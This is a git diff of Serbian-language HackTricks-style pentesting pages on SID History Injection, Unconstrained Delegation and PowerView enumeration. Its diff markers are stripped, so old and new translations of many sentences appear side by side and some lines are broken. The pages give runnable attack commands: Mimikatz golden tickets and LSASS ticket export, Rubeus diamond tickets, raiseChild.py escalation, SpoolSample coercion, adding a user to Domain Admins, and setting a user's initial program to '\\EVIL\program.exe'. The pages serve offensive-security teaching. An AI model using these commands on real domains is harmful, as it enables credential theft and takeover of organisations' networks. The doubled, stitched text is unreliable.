Fokus napada **SID History Injection** je olakšavanje **migracije korisnika između domena** uz istovremeno održavanje pristupa resursima iz prethodnog domena. Ovo se postiže **uključivanjem prethodnog Identifikatora Sigurnosti (SID) korisnika u SID History** njihovog novog naloga. Važno je napomenuti da se ovaj proces može manipulisati kako bi se omogućio neovlašćeni pristup dodavanjem SID-a grupe sa visokim privilegijama (kao što su Enterprise Admins ili Domain Admins) iz matičnog domena u SID History. Ova eksploatacija omogućava pristup svim resursima unutar matičnog domena.
|
||||
Fokus **SID History Injection Attack** je pomoć **migraciji korisnika između domena** dok se obezbeđuje nastavak pristupa resursima iz prethodne domene. To se postiže **uključivanjem prethodnog sigurnosnog identifikatora (SID) korisnika u SID istoriju** njihovog novog naloga. Važno je napomenuti da se ovaj proces može manipulisati kako bi se omogućio neovlašćen pristup dodavanjem SID-a grupe sa visokim privilegijama (kao što su Enterprise Admins ili Domain Admins) iz matične domene u SID istoriju. Ova eksploatacija omogućava pristup svim resursima unutar matične domene.
|
||||
|
||||
Postoje dva načina za izvršavanje ovog napada: putem kreiranja **Golden Ticket**-a ili **Diamond Ticket**-a.
|
||||
Postoje dve metode za izvršavanje ovog napada: kroz kreiranje **Golden Ticket** ili **Diamond Ticket**.
|
||||
|
||||
Da biste pronašli SID grupe **"Enterprise Admins"**, prvo morate pronaći SID korenskog domena. Nakon identifikacije, SID grupe Enterprise Admins se može konstruisati dodavanjem `-519` na SID korenskog domena. Na primer, ako je SID korenskog domena `S-1-5-21-280534878-1496970234-700767426`, rezultirajući SID za grupu "Enterprise Admins" bi bio `S-1-5-21-280534878-1496970234-700767426-519`.
|
||||
Da bi se odredio SID za grupu **"Enterprise Admins"**, prvo je potrebno pronaći SID matične domene. Nakon identifikacije, SID grupe Enterprise Admins može se konstruisati dodavanjem `-519` na SID matične domene. Na primer, ako je SID matične domene `S-1-5-21-280534878-1496970234-700767426`, rezultantni SID za grupu "Enterprise Admins" bi bio `S-1-5-21-280534878-1496970234-700767426-519`.
|
||||
|
||||
Takođe možete koristiti grupe **Domain Admins**, koje se završavaju sa **512**.
|
||||
|
||||
Još jedan način za pronalaženje SID-a grupe iz drugog domena (na primer "Domain Admins") je:
|
||||
Drugi način da se pronađe SID grupe iz druge domene (na primer "Domain Admins") je sa:
|
||||
```powershell
|
||||
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
||||
```
|
||||
### Zlatna karta (Mimikatz) sa KRBTGT-AES256
|
||||
### Zlatna ulaznica (Mimikatz) sa KRBTGT-AES256
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -47,13 +50,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Za više informacija o zlatnim kartama pogledajte:
|
||||
Za više informacija o zlatnim karticama pogledajte:
|
||||
|
||||
{% content-ref url="golden-ticket.md" %}
|
||||
[golden-ticket.md](golden-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Dijamantska karta (Rubeus + KRBTGT-AES256)
|
||||
### Dijamantska kartica (Rubeus + KRBTGT-AES256)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -81,7 +84,7 @@ ls \\mcorp-dc.moneycorp.local\c$
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Povećajte privilegije na DA ili Enterprise admin koristeći KRBTGT heš kompromitovanog domena:
|
||||
Povećajte privilegije na DA root ili Enterprise admin koristeći KRBTGT hash kompromitovane domene:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -97,15 +100,15 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Sa stečenim dozvolama iz napada možete izvršiti, na primer, DCSync napad u novom domenu:
|
||||
Sa stečenim dozvolama iz napada možete izvršiti, na primer, DCSync napad u novoj domeni:
|
||||
|
||||
{% content-ref url="dcsync.md" %}
|
||||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Sa linuxa
|
||||
### Iz linux-a
|
||||
|
||||
#### Ručno pomoću [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
|
||||
#### Ručno sa [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -129,21 +132,21 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Automatsko korišćenje pomoću [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
||||
#### Automatski koristeći [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
||||
|
||||
Ovo je Impacket skripta koja će **automatski izvršiti eskalaciju sa detetskog na roditeljski domen**. Skripta zahteva:
|
||||
Ovo je Impacket skripta koja će **automatizovati eskalaciju sa child na parent domen**. Skripta zahteva:
|
||||
|
||||
* Ciljni kontroler domena
|
||||
* Kredencijale za admin korisnika u detetovom domenu
|
||||
* Akreditive za admin korisnika u child domenu
|
||||
|
||||
Tok je sledeći:
|
||||
Tok rada je:
|
||||
|
||||
* Dobija SID za grupu Enterprise Admins u roditeljskom domenu
|
||||
* Preuzima heš za KRBTGT nalog u detetovom domenu
|
||||
* Kreira Golden Ticket
|
||||
* Prijavljuje se na roditeljski domen
|
||||
* Preuzima kredencijale za Administrator nalog u roditeljskom domenu
|
||||
* Ako je specificiran prekidač `target-exec`, autentifikuje se na kontroleru domena roditeljskog domena putem Psexec-a.
|
||||
* Dobija SID za grupu Enterprise Admins u parent domenu
|
||||
* Preuzima hash za KRBTGT nalog u child domenu
|
||||
* Kreira Zlatnu Ulaznicu
|
||||
* Prijavljuje se u parent domen
|
||||
* Preuzima akreditive za Administrator nalog u parent domenu
|
||||
* Ako je `target-exec` prekidač specificiran, autentifikuje se na Kontroler Domenа parent domena putem Psexec.
|
||||
```bash
|
||||
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
||||
```
|
||||
|
@ -151,14 +154,17 @@ raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
|||
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
|
||||
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,73 +1,79 @@
|
|||
# Neograničeno preusmeravanje
|
||||
# Unconstrained Delegation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Neograničeno preusmeravanje
|
||||
## Unconstrained delegation
|
||||
|
||||
Ovo je funkcija koju **Administrator domena** može postaviti na bilo koji **računar** unutar domena. Zatim, svaki put kada se **korisnik prijavi** na računar, **kopija TGT-a** tog korisnika će biti **poslata unutar TGS-a** koji pruža DC **i sačuvana u memoriji u LSASS-u**. Dakle, ako imate administratorske privilegije na mašini, moći ćete **izvući tikete i preuzeti identitet korisnika** na bilo kojoj mašini.
|
||||
Ovo je funkcija koju Administrator domena može postaviti na bilo koji **računar** unutar domena. Tada, svaki put kada se **korisnik prijavi** na računar, **kopija TGT-a** tog korisnika će biti **poslata unutar TGS-a** koji obezbeđuje DC **i sačuvana u memoriji u LSASS-u**. Dakle, ako imate privilegije Administratora na mašini, moći ćete da **izvučete karte i pretvarate se da ste korisnici** na bilo kojoj mašini.
|
||||
|
||||
Dakle, ako se administrator domena prijavi na računar sa aktiviranom funkcijom "Neograničeno preusmeravanje", i vi imate lokalne administratorske privilegije na toj mašini, moći ćete izvući tiket i preuzeti identitet Administratora domena bilo gde (privilegije domene).
|
||||
Dakle, ako se administrator domena prijavi na računar sa aktiviranom funkcijom "Unconstrained Delegation", a vi imate lokalne admin privilegije unutar te mašine, moći ćete da izvučete kartu i pretvarate se da ste Administrator domena bilo gde (domen privesc).
|
||||
|
||||
Možete **pronaći objekte računara sa ovim atributom** proveravajući da li atribut [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) sadrži [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). To možete uraditi sa LDAP filterom ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, što je ono što powerview radi:
|
||||
Možete **pronaći objekte računara sa ovom atributom** proveravajući da li atribut [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) sadrži [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). To možete uraditi sa LDAP filtrima ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, što je ono što powerview radi:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Lista računara sa neograničenim preusmeravanjem
|
||||
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
|
||||
## Powerview
|
||||
Get-NetComputer -Unconstrained #DC-ovi uvek se pojavljuju ali nisu korisni za privesc
|
||||
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
|
||||
<strong>## ADSearch
|
||||
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
|
||||
<strong># Izvoz tiketa sa Mimikatz-om
|
||||
<strong># Export tickets with Mimikatz
|
||||
</strong>privilege::debug
|
||||
sekurlsa::tickets /export #Preporučeni način
|
||||
kerberos::list /export #Još jedan način
|
||||
sekurlsa::tickets /export #Recommended way
|
||||
kerberos::list /export #Another way
|
||||
|
||||
# Prati prijave i izvozi nove tikete
|
||||
.\Rubeus.exe monitor /targetuser:<korisničko_ime> /interval:10 #Proveri svakih 10s za nove TGT-ove</code></pre>
|
||||
# Monitor logins and export new tickets
|
||||
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
|
||||
|
||||
Učitajte tiket Administratora (ili žrtvenog korisnika) u memoriju sa **Mimikatz**-om ili **Rubeus-om za** [**Pass the Ticket**](pass-the-ticket.md)**.**\
|
||||
Učitajte kartu Administratora (ili korisnika žrtve) u memoriju sa **Mimikatz** ili **Rubeus za** [**Pass the Ticket**](pass-the-ticket.md)**.**\
|
||||
Više informacija: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
|
||||
[**Više informacija o neograničenom preusmeravanju na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
[**Više informacija o Unconstrained delegation na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
|
||||
### **Prisilna autentifikacija**
|
||||
### **Force Authentication**
|
||||
|
||||
Ako napadač uspe da **kompromituje računar koji je dozvoljen za "Neograničeno preusmeravanje"**, on može **prevariti** server za **štampu** da se **automatski prijavi** na njega **čime se čuva TGT** u memoriji servera.\
|
||||
Zatim, napadač može izvršiti napad **Pass the Ticket da bi preuzeo identitet** korisnika naloga računara za štampu.
|
||||
Ako napadač može da **kompromituje računar koji je dozvoljen za "Unconstrained Delegation"**, mogao bi da **prevari** **Print server** da **automatski prijavi** protiv njega **čuvajući TGT** u memoriji servera.\
|
||||
Tada bi napadač mogao da izvrši **Pass the Ticket napad da se pretvara** da je korisnički račun Print servera.
|
||||
|
||||
Da biste naterali server za štampu da se prijavi na bilo koju mašinu, možete koristiti [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
|
||||
Da biste naterali print server da se prijavi na bilo koju mašinu, možete koristiti [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
|
||||
```bash
|
||||
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
|
||||
```
|
||||
Ako je TGT sa kontrolera domena, možete izvesti napad [**DCSync**](acl-persistence-abuse/#dcsync) i dobiti sve hešove sa kontrolera domena.\
|
||||
Ako je TGT sa kontrolera domena, možete izvršiti a[ **DCSync attack**](acl-persistence-abuse/#dcsync) i dobiti sve hešove sa DC-a.\
|
||||
[**Više informacija o ovom napadu na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
|
||||
**Evo drugih načina da pokušate izazvati autentifikaciju:**
|
||||
**Evo drugih načina da pokušate da primorate autentifikaciju:**
|
||||
|
||||
{% content-ref url="printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Mitigacija
|
||||
### Ublažavanje
|
||||
|
||||
* Ograničite DA/Admin prijave na određene servise
|
||||
* Postavite "Account is sensitive and cannot be delegated" za privilegovane naloge.
|
||||
* Ograničite DA/Admin prijave na specifične usluge
|
||||
* Postavite "Nalog je osetljiv i ne može biti delegiran" za privilegovane naloge.
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Radite li u **cybersecurity kompaniji**? Želite li videti **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,28 @@
|
|||
# PowerView/SharpView
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
Najnovija verzija PowerView uvek će biti u dev grani PowerSploit-a: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
Najnovija verzija PowerView će uvek biti u dev grani PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) je .NET port [**PowerView-a**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) je .NET port od [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
### Brza enumeracija
|
||||
```powershell
|
||||
|
@ -149,9 +152,9 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
|
|||
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
|
||||
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
|
||||
```
|
||||
### Objekat grupe politika - GPO-ovi
|
||||
### Group Policy Object - GPOs
|
||||
|
||||
Ako napadač ima **visoke privilegije nad GPO-om**, mogao bi da **poveća privilegije** zloupotrebom dodavanja dozvola korisniku, dodavanjem lokalnog administratorskog korisnika na računar ili kreiranjem zakazanog zadatka (odmah) za izvršavanje određene radnje.\
|
||||
Ako napadač ima **visoke privilegije nad GPO-om**, mogao bi da **privesc** zloupotrebi to tako što će **dodati dozvole korisniku**, **dodati lokalnog admin korisnika** na host ili **napraviti zakazani zadatak** (odmah) da izvrši neku akciju.\
|
||||
Za [**više informacija o tome i kako to zloupotrebiti pratite ovaj link**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
```powershell
|
||||
#GPO
|
||||
|
@ -186,7 +189,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
|
|||
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
|
||||
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
|
||||
```
|
||||
Naučite kako da **iskoristite dozvole nad GPO-ima i ACL-ovima** u:
|
||||
Naučite kako da **iskoristite dozvole preko GPO-a i ACL-a** u:
|
||||
|
||||
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
|
||||
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
|
||||
|
@ -213,13 +216,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
|
|||
#Get special rights over All administrators in domain
|
||||
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
|
||||
```
|
||||
### Deljeni fajlovi i folderi
|
||||
### Deljeni fajlovi i fascikle
|
||||
```powershell
|
||||
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
|
||||
Find-DomainShare -CheckShareAccess #Search readable shares
|
||||
Find-InterestingDomainShareFile #Find interesting files, can use filters
|
||||
```
|
||||
### Poverenje domena
|
||||
### Povjerenje domena
|
||||
```powershell
|
||||
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
|
||||
Get-DomainTrust #Same
|
||||
|
@ -236,7 +239,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
|||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### Lako dostupni plodovi
|
||||
### L**ow**-**hanging fruit**
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
@ -274,13 +277,13 @@ Invoke-UserHunter -GroupName "RDPUsers"
|
|||
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
### Obrisani objekti
|
||||
### Objekti koji su obrisani
|
||||
```powershell
|
||||
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
|
||||
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### RAZNO
|
||||
### MISC
|
||||
|
||||
#### SID u Ime
|
||||
```powershell
|
||||
|
@ -297,7 +300,7 @@ $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
|
|||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
||||
Get-DomainUser -Credential $Cred
|
||||
```
|
||||
#### Preuzimanje identiteta korisnika
|
||||
#### Imitirati korisnika
|
||||
```powershell
|
||||
# if running in -sta mode, impersonate another credential a la "runas /netonly"
|
||||
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
|
@ -306,7 +309,7 @@ Invoke-UserImpersonation -Credential $Cred
|
|||
# ... action
|
||||
Invoke-RevertToSelf
|
||||
```
|
||||
#### Postavi vrednosti
|
||||
#### Postavljanje vrednosti
|
||||
```powershell
|
||||
# set the specified property for the given user identity
|
||||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
|
@ -321,14 +324,17 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
